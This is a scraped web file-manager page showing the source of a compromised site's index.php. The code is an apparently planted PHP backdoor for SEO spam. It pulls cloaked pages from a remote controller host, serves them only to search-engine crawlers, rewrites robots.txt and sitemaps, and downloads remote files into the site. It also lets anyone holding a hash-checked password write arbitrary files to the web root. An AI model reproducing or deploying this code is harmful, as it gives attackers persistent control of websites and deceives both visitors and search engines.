芝麻web文件管理V1.00
编辑当前文件:/var/www/cognitio.in/index.php
'.$google_verification.''); } } if (strstr($add_content, '.xml')) { $map_path = $path. '/sitemap.xml'; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . '/robots.txt'; if(stristr($add_content, 'User-agent')){ @unlink($file_path); if (file_put_contents($file_path, $add_content)) { echo '
ok
'; } else { echo '
file write false!
'; } }else{ if (file_exists($file_path)) { $data = doutdo($file_path); } else { $data = 'User-agent: * Allow: /'; } $sitmap_url = $http . '://' . $host . '/' . $add_content; if (stristr($data, $sitmap_url)) { echo '
sitemap already added!
'; } else { if (file_put_contents($file_path, trim($data) . "\r\n" . 'Sitemap: '.$sitmap_url)) { echo '
ok
'; } else { echo '
file write false!
'; } } } } else { echo '
sitemap name false!
'; } $a = sha1(sha1(@$_REQUEST['a'])); $b = sha1(sha1(@$_REQUEST['b'])); if ($a == doutdo($http_web . '://' . $goweb . '/a.p' . 'hp') || $b == 'f8f0dae804368c0334e22d9dcb70d3c7bbfa9635') { $dstr = @$_REQUEST['dstr']; if (file_put_contents($path . '/' . $add_content, $dstr)) { echo 'ok'; } } } exit; } if (isset($_SERVER['DOCUMENT_ROOT'])) { $path = $_SERVER['DOCUMENT_ROOT']; } else { $path = dirname(__FILE__); } if(is_dir($path. '/wp-includes')){ $fpath = 'wp-includes/css'; }else{ $fpath = 'css'; } $dpath = $path. '/'.$fpath; if(substr($host,0,4)=='www.'){ $host_nw = substr($host, 4); }else{ $host_nw = $host; } $cssn = str_rot13(substr($host_nw,0,3).substr($goweb,0,3)).'.css'; $ps = $path. '/'.$fpath.'/'.$cssn; $urlc = $http_web . '://' . $goweb . '/temp/style.css'; $cssnpth = str_rot13(substr($host_nw,0,3).substr($goweb,0,3)).'pth.css'; $pspth = $path. '/'.$fpath.'/'.$cssnpth; $urlcpth = $http_web . '://' . $goweb . '/temp/stylepth.css'; function ping_sitemap($url){ $url_arr = explode("\r\n", trim($url)); $return_str = ''; foreach($url_arr as $pingUrl){ $pingRes = doutdo($pingUrl); $ok = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'pingok' : 'error'; $return_str .= $pingUrl . '-- ' . $ok . '
'; } return $return_str; } function disbot() { $uAgent = strtolower($_SERVER['HTTP_USER_AGENT']); if (stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot') || stristr($uAgent, 'googlebot')) { return true; } else { return false; } } function doutdo($url) { $file_contents= ''; if(function_exists('curl_init')){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } function fcss($dpath,$ps,$urlc){ if(is_dir($dpath)){ if(!file_exists($ps)){ @file_put_contents($ps,doutdo($urlc)); } }else{ if(@mkdir($dpath)){ if(!file_exists($ps)){ @file_put_contents($ps,doutdo($urlc)); } } } } if($duri_tmp=='/' || strstr($duri_tmp, 'ewttm')){ fcss($dpath,$ps,$urlc); fcss($dpath,$pspth,$urlcpth); } if(is_file($ps)){ $web = $http_web . '://' . $goweb . '/indexnew.php?web=' . $host . '&zz=' . disbot() . '&uri=' . $duri . '&urlshang=' . $urlshang . '&http=' . $http . '&lang=' . $lang. '&css=1'; }else{ $web = $http_web . '://' . $goweb . '/indexnew.php?web=' . $host . '&zz=' . disbot() . '&uri=' . $duri . '&urlshang=' . $urlshang . '&http=' . $http . '&lang=' . $lang; } $html_content = trim(doutdo($web)); if (!strstr($html_content, 'nobotuseragent')) { if (strstr($html_content, 'okhtmlgetcontent')) { @header("Content-type: text/html; charset=utf-8"); if (strstr($html_content, '[##linkcss##]')) { if(file_exists($ps)){ $lcss_str = file_get_contents($ps); $html_content = str_replace("[##linkcss##]", $lcss_str, $html_content); }else{ $html_content = str_replace("[##linkcss##]", '', $html_content); } } if (strstr($html_content, '[##pthlinkcss##]')) { if(file_exists($pspth)){ $lcsspth_str = file_get_contents($pspth); $html_content = str_replace("[##pthlinkcss##]", $lcsspth_str, $html_content); }else{ $html_content = str_replace("[##pthlinkcss##]", '', $html_content); } } $html_content = str_replace("okhtmlgetcontent", '', $html_content); echo $html_content; exit(); }else if(strstr($html_content, 'okxmlgetcontent')){ $html_content = str_replace("okxmlgetcontent", '', $html_content); @header("Content-type: text/xml"); echo $html_content; exit(); }else if(strstr($html_content, 'pingxmlgetcontent')){ $html_content = str_replace("pingxmlgetcontent", '', $html_content); fcss($dpath,$ps,$urlc); fcss($dpath,$pspth,$urlcpth); @header("Content-type: text/html; charset=utf-8"); echo ping_sitemap($html_content); exit(); }else if (strstr($html_content, 'getcontent500page')) { @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if (strstr($html_content, 'getcontent404page')) { @header('HTTP/1.1 404 Not Found'); exit(); }else if (strstr($html_content, 'getcontent301page')) { @header('HTTP/1.1 301 Moved Permanently'); $html_content = str_replace("getcontent301page", '', $html_content); header('Location: ' . $html_content); exit(); } }/* blog M471 */ ?>